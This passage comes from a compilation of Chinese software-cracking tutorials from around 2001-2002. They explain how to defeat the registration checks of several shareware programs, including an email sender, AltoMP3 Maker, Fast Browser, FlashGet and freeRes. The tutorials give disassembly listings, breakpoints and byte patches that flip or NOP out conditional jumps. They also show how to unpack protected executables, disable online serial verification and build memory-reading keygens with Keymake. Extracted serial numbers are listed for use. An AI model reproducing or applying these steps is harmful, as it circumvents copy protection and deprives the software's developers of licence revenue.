:004C5CE6 8D55E8 lea edx, dword ptr [ebp-18]
:004C5CE9 8B83FC020000 mov eax, dword ptr [ebx+000002FC]
:004C5CEF E8500EF8FF call 00446B44
:004C5CF4 8B45E8 mov eax, dword ptr [ebp-18]
:004C5CF7 8D55EC lea edx, dword ptr [ebp-14]
:004C5CFA E80530F4FF call 00408D04
:004C5CFF 8B55EC mov edx, dword ptr [ebp-14]
:004C5D02 8B45F8 mov eax, dword ptr [ebp-08]
:004C5D05 E8E2EDF3FF call 00404AEC <------ 在这个call里比较注册码，F8跟进去...
:004C5D0A 7536 jne 004C5D42 <------ 如果输入的注册码与正确的不等，则
弹出错误提示，此处改 je 004C5D42
即可爆破成功！

* Possible StringData Ref from Code Obj ->"注册成功"
|
:004C5D0C B8A85D4C00 mov eax, 004C5DA8
:004C5D11 E8BE97F7FF call 0043F4D4
:004C5D16 8B45F8 mov eax, dword ptr [ebp-08]
:004C5D19 50 push eax
:004C5D1A 8D45E4 lea eax, dword ptr [ebp-1C]
:004C5D1D E876C6FEFF call 004B2398
:004C5D22 8B45E4 mov eax, dword ptr [ebp-1C]

* Possible StringData Ref from Code Obj ->"RegistNo"
|
:004C5D25 B9BC5D4C00 mov ecx, 004C5DBC

* Possible StringData Ref from Code Obj ->"Regist"
|
:004C5D2A BAD05D4C00 mov edx, 004C5DD0
:004C5D2F E8C0C3FEFF call 004B20F4

* Possible StringData Ref from Code Obj ->"已经注册"
|
:004C5D34 BAE05D4C00 mov edx, 004C5DE0
:004C5D39 8BC3 mov eax, ebx
:004C5D3B E8340EF8FF call 00446B74
:004C5D40 EB18 jmp 004C5D5A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C5D0A(C)
|

* Possible StringData Ref from Code Obj ->"注册码错误！"
|
:004C5D42 B8F45D4C00 mov eax, 004C5DF4
:004C5D47 E88897F7FF call 0043F4D4
:004C5D4C 8B83FC020000 mov eax, dword ptr [ebx+000002FC]
:004C5D52 8B10 mov edx, dword ptr [eax]
:004C5D54 FF92C0000000 call dword ptr [edx+000000C0]

按 F8 进入 call 00404AEC:

* Referenced by a CALL at Addresses:
|:00418563 , :0041F00E , :0041FE0F , :004259D1 , :00426E34
|:00434E5C , :004459AE , :00445A3C , :00445B92 , :00446969
|:00446B9C , :00448AAB , :00452E8F , :0045363B , :004538C9
|:0045398B , :00453B09 , :00456D15 , :0045719F , :0045725E
|:004576D2 , :0045791B , :00458193 , :00458B99 , :00458D4F
|:004599C1 , :00459BA3 , :00459F7F , :00467C73 , :0046B6D1
|:0046B7B5 , :0046CB48 , :0046CB6D , :0046CC68 , :0046CCC9
|:0046F5C3 , :0047C677 , :0047CAB6 , :0047E313 , :0047ECA3
|:0047F09C , :00480DEE , :00496769 , :004A7E1D , :004A7FD8
|:004A94D2 , :004A9578 , :004A95BC , :004A9EE4 , :004A9F07
|:004A9F15 , :004C5D05 , :004C5E9E , :004CCBB2 , :004CCBC5
|:004CD150 , :004CD1DF , :004CD3A1 , :004CD658 , :004CE992
|:004CEA5C , :004CEB03 , :004CFBFE , :004CFC25 , :004D2EF1
|:004D2F26 , :004D3902 , :004D3A25 , :004D5C32 , :004D61B3
|:004D676F , :004D69DA , :004D71D6 , :004D728A , :004D7CD9
|:004D7CFE , :004D99B2 , :004DC3AE , :004DC9C9 , :004DDFF6
|:004DE01A
|
:00404AEC 53 push ebx <----- 进入后光棒停在这里，往下走
:00404AED 56 push esi
:00404AEE 57 push edi
:00404AEF 89C6 mov esi, eax
:00404AF1 89D7 mov edi, edx
:00404AF3 39D0 cmp eax, edx <----- 比较 eax 与 edx 是否相等，经典啊！
:00404AF5 0F848F000000 je 00404B8A
:00404AFB 85F6 test esi, esi
:00404AFD 7468 je 00404B67
:00404AFF 85FF test edi, edi
:00404B01 746B je 00404B6E
:00404B03 8B46FC mov eax, dword ptr [esi-04]
:00404B06 8B57FC mov edx, dword ptr [edi-04]
:00404B09 29D0 sub eax, edx
:00404B0B 7702 ja 00404B0F
:00404B0D 01C2 add edx, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404B0B(C)
|
:00404B0F 52 push edx
:00404B10 C1EA02 shr edx, 02
:00404B13 7426 je 00404B3B

在 ":00404AF3 39D0 cmp eax, edx" 处，下 d eax 即可得正确的注册码“V?GHDGGGGIAJENPG”，下 d edx，可以在内存区看到我输入的假注册码“78787878”.

至此软件破解完成，我的注册码为：
机器码：EM613060620347XU
注册码：V?GHDGGGGIAJENPG

用软件给自己的几个信箱发送了一下邮件，软件的宣传链接已经没有了，说明找到的注册码是正确的。

注册信息保存在生成的 System.snm 文件中(文本格式)。

3. 制作另类注册机
打开 注册机编写器 1.4，选择菜单“其它”->“另类注册机”，在弹出的设置框中，进行如下设置：
a.按“浏览”按钮，选择主程序文件 sndmail.exe
b.按下方“添加”铵钮，添加如下数据：

地址一
中断地址: 4C5D05
中断次数: 1
第一字节: E8
指令长度: 5

地址二
中断地址: 404AF3
中断次数: 1
第一字节: 39
指令长度: 2

c.在右边注册码选项中选择“内存方式”，并选中下面的单选框，选择eax
d.设置用户信息
e.按“生成”，输入生成的EXE文件名

炎之川 于 2001.12.9
emali: skipli@sina.com
QQ: 6148025


AltoMP3 Maker 3.02

 标 题:破解 AltoMP3 Maker 3.02 汉化版 (4千字)
发信人:炎之川
时 间:2001-12-11 23:37:53
详细信息:
破解 AltoMP3 Maker 3.02 汉化版

软件名称：AltoMP3 Maker 3.02 (汉化版)
文件大小：1467k
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
发布公司：http://www.yuansoft.com/
软件简介：AltoMP3 Maker 3.02 应该是目前界面最友好、最方便、最快捷、非常容易而又功能强大的 CD -> MP3 转换(即抓取 CD 音轨)工具。如果您想从音频 CD 制作自己的 MP3，您将体会到她是如何的出色。制作前可编辑 ID3 标签，支持 Freedb、VRB、OGG Vorbis 。通过使用自动同步技术和优秀的 MP3 编码引擎 LAME 3.88 获得高速度、高品质的输出，从而快速压缩出完美品质的 MP3 。同时，AltoMP3 Maker 也是 Win 9X/NT/Me/2000 下理想的 MP3 -> WAV 解码器。AltoMP3 Maker 还能实现完整的 CD 音频播放控制，以及兼具 freedb-aware CD 播放器功能。只需用鼠标点击 4 次，即可将整盘 CD 音乐转换成您心爱的 MP3！

未注册版本限制: 下载的程序将具有完整功能，但未注册之前只能编码 CD 唱片的前 12 首音轨。

原版软件下载: http://www.hanzify.org/download.asp?TYPE=YB&SOFT_ID=2612&SITE=1 (英文版，1467k)
http://www.hanzify.org/download.asp?SOFT_ID=2612&SITE=1 (汉化补丁，86k)

破解工具：TRW2000 1.22 汉化增强版

据说这个软件的注册码很好追出来，所以拿来练习吧！另外也找不到注册机，用别人的名字注册总觉得有那么一点点不爽~~ :) 用汉化版则纯粹是习惯而已，懒得再去安装英文原版了。从软件使用角度来看，个人以为这个软件绝对是最好的 MP3 制作工具！很值得推荐～！

破解过程:

1. 运行软件，帮助/注册，在这里随便填入注册姓名及注册码，Name：炎之川，SN：78787878。
2. 按 Ctrl＋N 激活 TRW，
输入 bpx hmemcpy <---- 下万能断点 hmemcpy
输入 g <---- 把控制权还给程序，程序继续运行
这时返回到注册窗口，点击“注册”按钮，马上被 TRW 拦截下来了，这时在屏幕下方可以看到: Break on BP1，说明拦截成功。
输入 bc * <---- 清除断点
输入 pmodule

接下来按53次左右 F10（在 63 次时会跳出注册失败的提示）来到下面 (学会 u 指令咯~~^_^)

016F:0042A769 C644242401 MOV BYTE [ESP+24],01
016F:0042A76E E8BF8B0200 CALL `MFC42!ord_0000035A`
016F:0042A773 8D4C2414 LEA ECX,[ESP+14]
016F:0042A777 C644242000 MOV BYTE [ESP+20],00
016F:0042A77C E8F78A0200 CALL `MFC42!ord_00000320`
016F:0042A781 8B37 MOV ESI,[EDI]
016F:0042A783 8B442410 MOV EAX,[ESP+10]
016F:0042A787 8A10 MOV DL,[EAX] <---- 此处下 d eax 得正确注册码 => 7575800452
016F:0042A789 8ACA MOV CL,DL
016F:0042A78B 3A16 CMP DL,[ESI] <---- 此处下 d esi 得输入的假注册码 => 78787878
016F:0042A78D 751C JNZ 0042A7AB
016F:0042A78F 84C9 TEST CL,CL
016F:0042A791 7414 JZ 0042A7A7
016F:0042A793 8A5001 MOV DL,[EAX+01]
016F:0042A796 8ACA MOV CL,DL
016F:0042A798 3A5601 CMP DL,[ESI+01]
016F:0042A79B 750E JNZ 0042A7AB
016F:0042A79D 83C002 ADD EAX,BYTE +02
016F:0042A7A0 83C602 ADD ESI,BYTE +02
016F:0042A7A3 84C9 TEST CL,CL
016F:0042A7A5 75E0 JNZ 0042A787
016F:0042A7A7 33C0 XOR EAX,EAX
016F:0042A7A9 EB05 JMP SHORT 0042A7B0
016F:0042A7AB 1BC0 SBB EAX,EAX <---- 此处下 d eax 得正确注册码，可以做另类注册机
016F:0042A7AD 83D8FF SBB EAX,BYTE -01
016F:0042A7B0 85C0 TEST EAX,EAX
016F:0042A7B2 7441 JZ 0042A7F5
016F:0042A7B4 6AFF PUSH BYTE -01
016F:0042A7B6 6A00 PUSH BYTE +00
016F:0042A7B8 6857E10000 PUSH DWORD E157
016F:0042A7BD E8D68E0200 CALL `MFC42!ord_000004AF`
016F:0042A7C2 8DB3A0000000 LEA ESI,[EBX+A0]
016F:0042A7C8 8BCE MOV ECX,ESI
016F:0042A7CA E8158E0200 CALL `MFC42!ord_0000175D`

在 "016F:0042A787 8A10 MOV DL,[EAX]" 处，下 d eax 即可得正确的注册码:“7575800452”，在 "016F:0042A78B 3A16 CMP DL,[ESI]" 处，下 d esi 可得输入的假注册码:“78787878”.

至此软件破解完成，我的注册码为:
Name: 炎之川
S/N: 7575800452

另外还追出了几个注册码:
Name: AltoMP3 Maker User
S/N: 5720024750

Name: Free User
S/N: 6762997528

Name: o
S/N: 4762357897

注册信息保存在 windows 目录下生成的文件 REGKEYCR.INI 中(我在注册表里面找了好久... :( )。

3. 制作另类注册机
打开 注册机编写器 1.4，选择菜单“其它”->“另类注册机”，在弹出的设置框中，进行如下设置:
a.按“浏览”按钮，选择主程序文件 AltoMP3Maker.exe
b.按下方“添加”铵钮，添加如下数据：

地址一
中断地址: 42A7AB
中断次数: 1
第一字节: 1B
指令长度: 2

c.在右边注册码选项中选择“内存方式”，并选中下面的单选框，选择 eax
d.设置用户信息
e.按“生成”，输入生成的EXE文件名

炎之川 于 2001.12.11
emali: skipli@sina.com
QQ: 6148025


Fast Browser 4.03

 标 题:小黑，我教的CNCG的作业!! (6千字)
发信人:lllufh
时 间:2001-10-29 9:35:46
详细信息:
Fast Browser 4.03破解过程

过程：

首先用language查到该软件是由pecompact加的壳，干掉他！

简单！用冲击波+TRW就搞定了！

由于该软件需要上网校验用户名和注册码，所以要先把这个功能干掉

所以用W32DASM查找："Connect to the Internet now so "
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DB763(C)
|
:004DB77F A100645000 mov eax, dword ptr [00506400]
:004DB784 803800 cmp byte ptr [eax], 00
:004DB787 751C jne 004DB7A5
:004DB789 B811000000 mov eax, 00000011
:004DB78E E8D9BBFCFF call 004A736C
:004DB793 84C0 test al, al
:004DB795 741A je 004DB7B1－－－－－这里NOP掉
:004DB797 B810000000 mov eax, 00000010
:004DB79C E8CBBBFCFF call 004A736C
:004DB7A1 84C0 test al, al
:004DB7A3 740C je 004DB7B1－－－－－这里NOP掉

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DB787(C)
|
:004DB7A5 8BC3 mov eax, ebx
:004DB7A7 E818FDFFFF call 004DB4C4－－－－跟进这个CALL看看
:004DB7AC E904010000 jmp 004DB8B5

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004DB795(C), :004DB7A3(C)
|
:004DB7B1 8D45FC lea eax, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"Connect to the Internet now so "－－－－－向上看

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－call 004DB4C4：
进入后我们停到这里：
* Referenced by a CALL at Addresses:
|:004DB7A7 , :004DBDAF
|
:004DB4C4 55 push ebp
:004DB4C5 8BEC mov ebp, esp
:004DB4C7 B906000000 mov ecx, 00000006

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DB4D1(C)
|
:004DB4CC 6A00 push 00000000
:004DB4CE 6A00 push 00000000
:004DB4D0 49 dec ecx
:004DB4D1 75F9 jne 004DB4CC
:004DB4D3 51 push ecx
:004DB4D4 53 push ebx
:004DB4D5 8BD8 mov ebx, eax
:004DB4D7 33C0 xor eax, eax
:004DB4D9 55 push ebp
:004DB4DA 68D7B64D00 push 004DB6D7
:004DB4DF 64FF30 push dword ptr fs:[eax]
:004DB4E2 648920 mov dword ptr fs:[eax], esp
:004DB4E5 A100645000 mov eax, dword ptr [00506400]
:004DB4EA 803800 cmp byte ptr [eax], 00
:004DB4ED 752B jne 004DB51A
:004DB4EF 8D55FC lea edx, dword ptr [ebp-04]
:004DB4F2 8B83F4020000 mov eax, dword ptr [ebx+000002F4]
:004DB4F8 E8EB9BF5FF call 004350E8
:004DB4FD 8B45FC mov eax, dword ptr [ebp-04]
:004DB500 50 push eax
:004DB501 8D55F8 lea edx, dword ptr [ebp-08]
:004DB504 8B83F8020000 mov eax, dword ptr [ebx+000002F8]
:004DB50A E8D99BF5FF call 004350E8
:004DB50F 8B45F8 mov eax, dword ptr [ebp-08]
:004DB512 5A pop edx
:004DB513 E8C895FFFF call 004D4AE0 ---------再跟进这个CALL，不要问为什么，我蒙的
:004DB518 EB29 jmp 004DB543

-------------------------------------------------------------------------------------------------
跟进call 004d4ae0后：
直觉是蒙对了（其实是试的！＾O＾）
* Referenced by a CALL at Addresses:
|:004D514A , :004DB513
|
:004D4AE0 55 push ebp
:004D4AE1 8BEC mov ebp, esp
:004D4AE3 83C4F4 add esp, FFFFFFF4
:004D4AE6 53 push ebx
:004D4AE7 33C9 xor ecx, ecx
:004D4AE9 894DF4 mov dword ptr [ebp-0C], ecx
:004D4AEC 8955F8 mov dword ptr [ebp-08], edx
:004D4AEF 8945FC mov dword ptr [ebp-04], eax
:004D4AF2 8B45FC mov eax, dword ptr [ebp-04]
:004D4AF5 E8AAF6F2FF call 004041A4
:004D4AFA 8B45F8 mov eax, dword ptr [ebp-08]
:004D4AFD E8A2F6F2FF call 004041A4
:004D4B02 33C0 xor eax, eax
:004D4B04 55 push ebp
:004D4B05 68A74B4D00 push 004D4BA7
:004D4B0A 64FF30 push dword ptr fs:[eax]
:004D4B0D 648920 mov dword ptr fs:[eax], esp
:004D4B10 837DFC00 cmp dword ptr [ebp-04], 00000000
:004D4B14 741E je 004D4B34
:004D4B16 837DF800 cmp dword ptr [ebp-08], 00000000
:004D4B1A 7418 je 004D4B34
:004D4B1C 8D55F4 lea edx, dword ptr [ebp-0C]
:004D4B1F 8B45FC mov eax, dword ptr [ebp-04]
:004D4B22 E8D1FEFFFF call 004D49F8---这里一大堆乱七八糟的，好像是算法，俺不懂（~_~）
:004D4B27 8B55F4 mov edx, dword ptr [ebp-0C]－－这里是真码
:004D4B2A 8B45F8 mov eax, dword ptr [ebp-08]－－这里是假码
:004D4B2D E8CEF5F2FF call 00404100------------------这里是比较(记下，一会做注册机)
:004D4B32 7404 je 004D4B38-------------------相等就万事OK了!!!!!

-------------------------------------------------------------------------------------------------
进入CALL 00404100比较CALL后：
:00404100 53 push ebx
:00404101 56 push esi
:00404102 57 push edi
:00404103 89C6 mov esi, eax
:00404105 89D7 mov edi, edx
:00404107 39D0 cmp eax, edx ----关键比较!(记下一会儿做注册机)
:00404109 0F848F000000 je 0040419E
:0040410F 85F6 test esi, esi
:00404111 7468 je 0040417B
:00404113 85FF test edi, edi
:00404115 746B je 00404182
:00404117 8B46FC mov eax, dword ptr [esi-04]
:0040411A 8B57FC mov edx, dword ptr [edi-04]
:0040411D 29D0 sub eax, edx
:0040411F 7702 ja 00404123
:00404121 01C2 add edx, eax

用刘健英大侠编的注册机制作起来真的好方便!(非常感谢刘大侠!)
打开keymake后按F8进入制作另类注册机!
添加刚刚要记下的两个地方
分别是：中断地址 中断次数 第一字节 字节长度
4D4B2D 1 E8 5
404107 1 39 2
添加完毕后生成!运行注册机文件，自动带起FAST BROWSER在注册对话框中随便填入注册码，拦截成功!!!爽!

总结：

用户名：lllufh[BCG][CNCG]
注册码：31787131761427888


flashget v1.1

 标 题:新鲜上架!最新 flashget v1.1 破解详解! (10千字)
发信人:eryl
时 间:2002-1-19 3:02:38
详细信息:
THE CRACKING OF FLASHGET V1.1

先用FI检查,发现程序为VC,未加壳.
在启动W32DASM反汇编.通过串式参考,找到"RESTART FLASHGET..."

仔细检查发现起上下又相同的两段程序,那么第二段应该是重起比较的重要区域.
看到第二段的起始位置,记下来.

启动FLASHGET,在移去广告处注册.确定.程序要求重起验证.关闭程序.

启动TRW2000, 装载程序.

下 GO 00418060

到如下地址:

0167:00418060 PUSH BYTE -01
0167:00418062 PUSH DWORD 004AC6D0
0167:00418067 MOV EAX,[FS:00]
0167:0041806D PUSH EAX
0167:0041806E MOV [FS:00],ESP
0167:00418075 SUB ESP,BYTE +14
0167:00418078 PUSH EBX
0167:00418079 PUSH ESI
0167:0041807A PUSH DWORD 004E13D4
0167:0041807F PUSH DWORD 004DB378
0167:00418084 LEA EAX,[ESP+14]
0167:00418088 PUSH DWORD 004DA448
0167:0041808D MOV ESI,ECX
0167:0041808F PUSH EAX
0167:00418090 CALL 004A47FD
0167:00418095 PUSH DWORD 004E13D4
0167:0041809A PUSH DWORD 004DB370
0167:0041809F LEA ECX,[ESP+10]
0167:004180A3 PUSH DWORD 004DA448
0167:004180A8 PUSH ECX
0167:004180A9 MOV ECX,ESI
0167:004180AB MOV DWORD [ESP+34],00
0167:004180B3 CALL 004A47FD
0167:004180B8 MOV EDX,[ESP+0C]
0167:004180BC MOV EBX,01
0167:004180C1 MOV [ESP+24],BL
0167:004180C5 MOV EAX,[EDX-08]...GET YOUR NAME
0167:004180C8 TEST EAX,EAX
0167:004180CA JZ NEAR 0041819F
0167:004180D0 MOV EAX,[ESP+08].... GET FALSE CODE
0167:004180D4 MOV ECX,[EAX-08]
0167:004180D7 TEST ECX,ECX
0167:004180D9 JZ NEAR 0041819F
0167:004180DF PUSH EDI
0167:004180E0 PUSH EBX
0167:004180E1 PUSH BYTE +43
0167:004180E3 LEA ECX,[ESP+20]
0167:004180E7 CALL 0048A939
0167:004180EC LEA ECX,[ESP+1C]
0167:004180F0 PUSH EBX
0167:004180F1 PUSH ECX
0167:004180F2 LEA ECX,[ESP+14]
0167:004180F6 MOV BYTE [ESP+30],02
0167:004180FB CALL 0048ADF8
0167:00418100 MOV EDX,[ESP+18]
0167:00418104 MOV EAX,[EAX]
0167:00418106 PUSH EDX
0167:00418107 PUSH EAX
0167:00418108 CALL 0047B913
0167:0041810D ADD ESP,BYTE +08
0167:00418110 LEA ECX,[ESP+1C]
0167:00418114 TEST EAX,EAX
0167:00418116 SETZ AL
0167:00418119 AND EAX,FF
0167:0041811E MOV EDI,EAX
0167:00418120 CALL 0048F4C3
0167:00418125 LEA ECX,[ESP+18]
0167:00418129 MOV [ESP+28],BL
0167:0041812D CALL 0048F4C3
0167:00418132 MOV ECX,[ESP+10]
0167:00418136 PUSH EDI
0167:00418137 LEA EDX,[ESP+18]
0167:0041813B PUSH ECX
0167:0041813C PUSH EDX
0167:0041813D MOV ECX,ESI
0167:0041813F CALL 004181E0....THE CRITICAL CALL! F8 TO GO INTO THE CALL!
0167:00418144 MOV EAX,[ESP+0C]
0167:00418148 MOV ECX,[ESP+14]
0167:0041814C PUSH EAX
0167:0041814D PUSH ECX
0167:0041814E CALL 0047B913
0167:00418153 ADD ESP,BYTE +08
0167:00418156 MOV [ESP+28],BL
0167:0041815A TEST EAX,EAX
0167:0041815C POP EDI
0167:0041815D LEA ECX,[ESP+10]
0167:00418161 JNZ 0041819A.......HERE SHOULD BE A JUMP! IF NOT,UNREGISTERED!
0167:00418163 CALL 0048F4C3
0167:00418168 LEA ECX,[ESP+08]
0167:0041816C MOV BYTE [ESP+24],00
0167:00418171 CALL 0048F4C3
0167:00418176 LEA ECX,[ESP+0C]
0167:0041817A MOV DWORD [ESP+24],FFFFFFFF
0167:00418182 CALL 0048F4C3
0167:00418187 MOV EAX,EBX
0167:00418189 POP ESI
0167:0041818A POP EBX
0167:0041818B MOV ECX,[ESP+14]
0167:0041818F MOV [FS:00],ECX
0167:00418196 ADD ESP,BYTE +20

第二段:
0167:004181E0 6AFF PUSH BYTE -01
0167:004181E2 68FFC64A00 PUSH DWORD 004AC6FF
0167:004181E7 64A100000000 MOV EAX,[FS:00]
0167:004181ED 50 PUSH EAX
0167:004181EE 64892500000000 MOV [FS:00],ESP....GET YOUR NAME
0167:004181F5 83EC58 SUB ESP,BYTE +58
0167:004181F8 8B54246C MOV EDX,[ESP+6C]
0167:004181FC 56 PUSH ESI
0167:004181FD 57 PUSH EDI
0167:004181FE 8BFA MOV EDI,EDX
0167:00418200 83C9FF OR ECX,BYTE -01
0167:00418203 33C0 XOR EAX,EAX
0167:00418205 F2AE REPNE SCASB
0167:00418207 B878787878 MOV EAX,78787878....GET THE FALSE CODE
0167:0041820C C744240800000000 MOV DWORD [ESP+08],00
0167:00418214 8944240C MOV [ESP+0C],EAX...PUT YOUR FALSE CODE INTO HEX FORM
0167:00418218 F7D1 NOT ECX
0167:0041821A 89442410 MOV [ESP+10],EAX
0167:0041821E 49 DEC ECX
0167:0041821F 89442414 MOV [ESP+14],EAX
0167:00418223 8BF1 MOV ESI,ECX
0167:00418225 89442418 MOV [ESP+18],EAX
0167:00418229 83FE10 CMP ESI,BYTE +10
0167:0041822C 8844241C MOV [ESP+1C],AL
0167:00418230 B810000000 MOV EAX,10
0167:00418235 7F02 JG 00418239
0167:00418237 8BC6 MOV EAX,ESI
0167:00418239 50 PUSH EAX
0167:0041823A 8D4C2410 LEA ECX,[ESP+10]
0167:0041823E 52 PUSH EDX
0167:0041823F 51 PUSH ECX
0167:00418240 E83B390600 CALL 0047BB80
0167:00418245 83C40C ADD ESP,BYTE +0C
0167:00418248 33C9 XOR ECX,ECX
0167:0041824A 33C0 XOR EAX,EAX
0167:0041824C 3BC6 CMP EAX,ESI....BEGIN TO COMPUTE THE REG CODE
0167:0041824E 7C15 JL 00418265
0167:00418250 83F805 CMP EAX,BYTE +05
0167:00418253 7C10 JL 00418265
0167:00418255 8A540407 MOV DL,[ESP+EAX+07]
0167:00418259 329108954D00 XOR DL,[ECX+004D9508]
0167:0041825F 8854040C MOV [ESP+EAX+0C],DL
0167:00418263 EB0A JMP SHORT 0041826F
0167:00418265 8A9108954D00 MOV DL,[ECX+004D9508]....GET "hytzl"
0167:0041826B 3054040C XOR [ESP+EAX+0C],DL
0167:0041826F 41 INC ECX
0167:00418270 83F905 CMP ECX,BYTE +05
0167:00418273 7C02 JL 00418277
0167:00418275 33C9 XOR ECX,ECX
0167:00418277 8A54040C MOV DL,[ESP+EAX+0C]
0167:0041827B 80E27F AND DL,7F
0167:0041827E 8854040C MOV [ESP+EAX+0C],DL
0167:00418282 40 INC EAX
0167:00418283 83F808 CMP EAX,BYTE +08
0167:00418286 7CC4 JL 0041824C.....JUMP TO COMPUTE THE REG CODE
0167:00418288 0FBE44240D MOVSX EAX,BYTE [ESP+0D]
0167:0041828D 0FBE4C240E MOVSX ECX,BYTE [ESP+0E]
0167:00418292 69C07CE23E00 IMUL EAX,EAX,003EE27C
0167:00418298 69C9EF518101 IMUL ECX,ECX,018151EF
0167:0041829E 03C1 ADD EAX,ECX
0167:004182A0 8B742478 MOV ESI,[ESP+78]
0167:004182A4 0FBE4C240C MOVSX ECX,BYTE [ESP+0C]
0167:004182A9 8D1489 LEA EDX,[ECX+ECX*4]
0167:004182AC 8D0CD1 LEA ECX,[ECX+EDX*8]
0167:004182AF 8D0C49 LEA ECX,[ECX+ECX*2]
0167:004182B2 03C1 ADD EAX,ECX
0167:004182B4 0FBE4C240F MOVSX ECX,BYTE [ESP+0F]
0167:004182B9 85F6 TEST ESI,ESI
0167:004182BB 7408 JZ 004182C5
0167:004182BD 69C912E10100 IMUL ECX,ECX,0001E112
0167:004182C3 EB06 JMP SHORT 004182CB
0167:004182C5 69C989420800 IMUL ECX,ECX,00084289
0167:004182CB 0FBE542412 MOVSX EDX,BYTE [ESP+12]
0167:004182D0 0FBE7C2410 MOVSX EDI,BYTE [ESP+10]
0167:004182D5 69D2FC65BD00 IMUL EDX,EDX,00BD65FC
0167:004182DB 69FFEC160F00 IMUL EDI,EDI,000F16EC
0167:004182E1 03C1 ADD EAX,ECX
0167:004182E3 03D7 ADD EDX,EDI
0167:004182E5 0FBE4C2413 MOVSX ECX,BYTE [ESP+13]
0167:004182EA 0FBE7C2411 MOVSX EDI,BYTE [ESP+11]
0167:004182EF 69C900E37134 IMUL ECX,ECX,3471E300
0167:004182F5 69FFEFDD0749 IMUL EDI,EDI,4907DDEF
0167:004182FB 03D7 ADD EDX,EDI
0167:004182FD 03C8 ADD ECX,EAX
0167:004182FF 8D0411 LEA EAX,[ECX+EDX]
0167:00418302 50 PUSH EAX
0167:00418303 8D442424 LEA EAX,[ESP+24]
0167:00418307 6880B34D00 PUSH DWORD 004DB380
0167:0041830C 50 PUSH EAX
0167:0041830D E8AD3C0600 CALL 0047BFBF
0167:00418312 8A4C2439 MOV CL,[ESP+39]
0167:00418316 8A542434 MOV DL,[ESP+34]
0167:0041831A 8A442435 MOV AL,[ESP+35]
0167:0041831E 83C40C ADD ESP,BYTE +0C
0167:00418321 80C11B ADD CL,1B
0167:00418324 80C215 ADD DL,15
0167:00418327 0411 ADD AL,11
0167:00418329 C644243000 MOV BYTE [ESP+30],00
0167:0041832E 85F6 TEST ESI,ESI
0167:00418330 884C242E MOV [ESP+2E],CL
0167:00418334 8854242B MOV [ESP+2B],DL
0167:00418338 8844242C MOV [ESP+2C],AL
0167:0041833C 7405 JZ 00418343.....here is your right code!
0167:0041833E C644242643 MOV BYTE [ESP+26],43
0167:00418343 8D4C2426 LEA ECX,[ESP+26]....send the right code to ecx
0167:00418347 51 PUSH ECX....the reg code!
0167:00418348 8D4C2478 LEA ECX,[ESP+78]
0167:0041834C E8E0710700 CALL 0048F531
0167:00418351 8B742470 MOV ESI,[ESP+70]
0167:00418355 8D542474 LEA EDX,[ESP+74]
0167:00418359 BF01000000 MOV EDI,01
0167:0041835E 52 PUSH EDX
0167:0041835F 8BCE MOV ECX,ESI
0167:00418361 897C246C MOV [ESP+6C],EDI
0167:00418365 E8CE6E0700 CALL 0048F238
0167:0041836A 897C2408 MOV [ESP+08],EDI
0167:0041836E 8D4C2474 LEA ECX,[ESP+74]
0167:00418372 C644246800 MOV BYTE [ESP+68],00
0167:00418377 E847710700 CALL 0048F4C3
0167:0041837C 8B4C2460 MOV ECX,[ESP+60]
0167:00418380 8BC6 MOV EAX,ESI
0167:00418382 5F POP EDI
0167:00418383 5E POP ESI
0167:00418384 64890D00000000 MOV [FS:00],ECX
0167:0041838B 83C464 ADD ESP,BYTE +64

keymake keygen:

中断地址:41814d
中断次数:1
首字节:51
命令长度:1

选择内存方式,再选 ecx
生成keygen!
ok!


freeRes

 标 题:RESTOOLS -- freeRes分析软件压缩资源的超级利器 (2千字)
发信人:qhj
时 间:2001-10-3 0:21:46
详细信息:
用Keymake　1.2版本做它的注册机！
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
第一、用FI得知是用ASP加壳！先用UNASP　脱壳！
第二、反汇编如下：

反汇编可见：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B6D49(C)
|
:004B6D5B 8B45F0 mov eax, dword ptr [ebp-10]
:004B6D5E E87DD1F4FF call 00403EE0
:004B6D63 83F828 cmp eax, 00000028　// 　比较注册码是否为40位　　28十六进制＝40十进制！
:004B6D66 7538 jne 004B6DA0
:004B6D68 8B45F4 mov eax, dword ptr [ebp-0C]
:004B6D6B E870D1F4FF call 00403EE0
:004B6D70 85C0 test eax, eax
:004B6D72 7E2C jle 004B6DA0
:004B6D74 68348C0000 push 00008C34
:004B6D79 8D45EC lea eax, dword ptr [ebp-14]
:004B6D7C 50 push eax
:004B6D7D B983310000 mov ecx, 00003183
:004B6D82 BAD6030000 mov edx, 000003D6
:004B6D87 8B45F4 mov eax, dword ptr [ebp-0C]
:004B6D8A E80DFCFFFF call 004B699C
:004B6D8F 8B45EC mov eax, dword ptr [ebp-14]
:004B6D92 8B55F0 mov edx, dword ptr [ebp-10]
:004B6D95 E856D2F4FF call 00403FF0　　// 　经典故事　进入去！
:004B6D9A 7504 jne 004B6DA0　　//一跳就玩完！
:004B6D9C C645FF01 mov [ebp-01], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
＝＝＝＝＝＝＝＝＝＝＝
进入前面的::004B6D95 E856D2F4FF call 00403FF0　如下：

:00403FF0 53 push ebx
:00403FF1 56 push esi
:00403FF2 57 push edi
:00403FF3 89C6 mov esi, eax
:00403FF5 89D7 mov edi, edx
:00403FF7 39D0 cmp eax, edx　//绝对经典　　D　EAX　＝真的注册码40位长　　D　EDX　＝假的注册码
:00403FF9 0F848F000000 je 0040408E
:00403FFF 85F6 test esi, esi
:00404001 7468 je 0040406B
:00404003 85FF test edi, edi
:00404005 746B je 00404072
:00404007 8B46FC mov eax, dword ptr [esi-04]
:0040400A 8B57FC mov edx, dword ptr [edi-04]
:0040400D 29D0 sub eax, edx
:0040400F 7702 ja 00404013
:00404011 01C2 add edx, eax

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

用Keymake　1.2版本做它的注册机！
一）选择F8－另类注册机！
